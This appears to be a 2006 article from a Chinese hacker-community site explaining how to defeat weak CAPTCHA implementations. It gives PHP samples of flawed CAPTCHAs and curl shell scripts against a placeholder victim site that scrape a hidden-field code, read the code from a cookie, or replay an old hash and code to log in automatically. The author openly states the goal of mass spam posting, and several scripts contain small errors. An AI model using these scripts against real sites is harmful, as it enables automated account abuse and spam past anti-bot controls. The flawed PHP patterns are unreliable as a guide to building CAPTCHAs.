通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 原创精华 >> 文章正文
推荐:验证码破解功略
责任编辑:古典辣M°   更新日期:2006-1-18
 

#抛砖引玉,请高手继续。。。。。。

所谓验证码,就是将一串随机产生的数字或符号,生成一幅图片,图片里加上一些干扰象素(防止OCR),由用户肉眼识别其中的验证码信息,

输入表单提交网站验证,验证成功后才能使用某项功能。不少网站为了防止用户利用机器人自动注册、登录、灌水,都采用了 验证码技术

很多验证码实现都有问题。比如直接给出用验证码在网页和cookies中。

验证码在网页中的例子:

CODE:

<?
  /*
  *   Filename: authpage.php
  *   Author:   hutuworm
  *   Date:   2003-04-28
  *   @Copyleft hutuworm.org
  */

    srand((double)microtime()*1000000);

    //验证用户输入是否和验证码一致
    if(isset($HTTP_POST_VARS['authinput']))
    {
          if(strcmp($HTTP_POST_VARS['authnum'],$HTTP_POST_VARS['authinput'])==0)
                echo "验证成功!";
          else
                echo "验证失败!";
    }
 
    //生成新的四位整数验证码
    while(($authnum=rand()%10000)<1000);
  ?>
    <form action=authpage.php method=post>
    <table>
          请输入验证码:<input type=text name=authinput style="width: 80px"><br>
          <input type=submit name="验证" value="提交验证码">
          <input type=hidden name=authnum value=<? echo $authnum; ?>>
          <img src=authimg.php?authnum=<? echo $authnum; ?>>
    </table>
    </form>

[Copy to clipboard]

以上例子直接将验证码储存在负面中,只需下载页面,得到验证码值就可突破限制。

CODE:

#!/bin/sh
curl [url]http://www.vicitm.org/authpage.php[/url]
authinput=`grep '<input type=hidden name=authnum value=[[:digit:]]\{4\}>' grep.txt | sed -e 's/[^0-9]//g'` #得到网页中的

authnum
curl [url]http://www.vicitm.org/authpage.php[/url] -d name=hacker -d submit="验证" -d authnum=$authnum

[Copy to clipboard]

 

CODE:

session_register("authnum");
$authnum = strval(rand("1111","9999"));
setcookie("authnum",$authnum);

...
<input type=text name=authnum maxlength=4><img src=get_code.php>
...

if($number != $login_check_number || empty($number))
{
  print("校验码不正确!");
  die();
}


[Copy to clipboard]

第二种要比上一种聪明一点,把验证码值存放在用户Cookies中。可是由于Cookies是用户可读可写,所以也极易被突破。


CODE:

#!/bin/sh
$username=hacker
$password=hackme
curl [url]http://www.vicitm.org/index.php[/url] -c common_cookie       # 接受服务器的初始cookies
curl [url]http://www.vicitm.org/get_code.php[/url] -c $username.cook -b common_cookie # 得到验证码,从cookies中
authnum=`grep authnum $username.cook | cut -f7`
curl [url]http://www.victim.org/login.php[/url] -b $username.cook -d authnum=$authnum -d username=$username -d password=$password # 使用

cookies中的验证码登陆

[Copy to clipboard]


更高级的验证码。(好像本论坛的就是这种。。。。)
有一类验证码比以上两种验证码要高级一些,它使用如下算法:
1。服务器生成一个随机hash。
2。使用某个算法(不可逆,破解难度高的)将hash转化成为验证码数字,再转化成图片。
3。hash在cookie中被发送到客户端
3。客户以图片输入验证码,进行登录。服务器检查f(hash)=验证码。

特点:因为攻击者不明白服务器所使用的验证码编码算法,所以无法对服务器转来的hash进行直接解析。

对付这种验证码,我们可以使用“过期cookies法”,方法即:保存服务器一次特定的cookies,将其对应验证码记下。在每次发送验证消息时

,强行扔掉服务器传来的cookies,使用这个已被使用过的cookies以及验证码。就好比,一张电话充值卡可以用多次一样。

如:
先从服务器上下载一张验证码图片:
curl http://www.victim.org/get_code.php -c cookie -o auth.png
人工阅读,得到$savecookie(cookie文件中的hash)和$authnum(验证码)。
机器人突破验证时,扔掉服务器给的hash,强制使用$savecookie和$authnum进行突破


CODE:

$savecookie=294b506f05f896dcbb3a0dde86a5e36c  
$num=7701
$username=hacker
$password=hackme

curl [url]http://www.victim.org/index.php[/url] -c $username.cookie # 得到初始化cookies,以及session id
grep -v authhash $username.cookie > tmp.$username     # 扔掉服务器给你的hash
echo "[url]www.victim.org[/url]   FALSE   /   FALSE   0   hash   $savecookie" >> tmp.$username # 强行使用过期hash 和验证码
mv tmp.$username $username.cookie
curl [url]http://www.victim.org/login.php[/url] -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d

authnum=$num # 使用过期验证码登陆。
#登陆成功,去疯狂灌水。。。。。。

[Copy to clipboard]


最高级的验证码。
它使用如下方法:
1。服务器通过用户相关信息(IP,SID等等)生成一个随机hash。
2。使用某个算法(不可逆,破解难度高的)将hash转化成为验证码数字。
3。hash不再发送给客户端。它被保存到本地数据库(通常是SESSIONS,有关用户IP等信息),并由一个序列号seq所指向。(这个seq也可以

是session id)
4。seq被作为cookies发送给客户端。
5。客户以图片输入验证码。
5。服务器验证方法:服务器并不检查f(hash)==验证码,而是去读取数据库中期望的验证码。。如果用户输入与期望值相同,则验证

成功。有些服务器可能还会seq与session id之间的关系进行验继续进行验证。
6。一旦用户进行了验证操作或重新获取验证码,而是服务器将对数据库中的hash值替换成新的,老值失效过期。

特点:
×过期:由于服务器只期望保存在当前数据库中的验证码,所以无法使用“过期”的验证码(因为已被新验证码所替换)。
×高强度:只发送seq,而hash被保存在本地,所以也极难破译出f(hash)函数。

弱点:OCR(光学识别) seq劫持 “验证码”DOS(对某些seq进行反复请求,导致某些用户无法进行正常验证)
对付这种验证码我没有什么好的方法,简便的方法就是自行下载验证码,并给用户显示后登陆。这种适用只验证一次的场合。如登陆时验证。


CODE:

curl [url]http://www.victim.org/get_code.php[/url] -c validate.png -c validcode_cookie # 得到验证码图片,和对应seq。
seq=`grep seq validcode_cookie | cut -f7`
echo -n 请输入validate.png中的验证码:
read valid_number # 输入验证码
# 登陆,并进行某种自动化操作,如疯狂灌水。

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题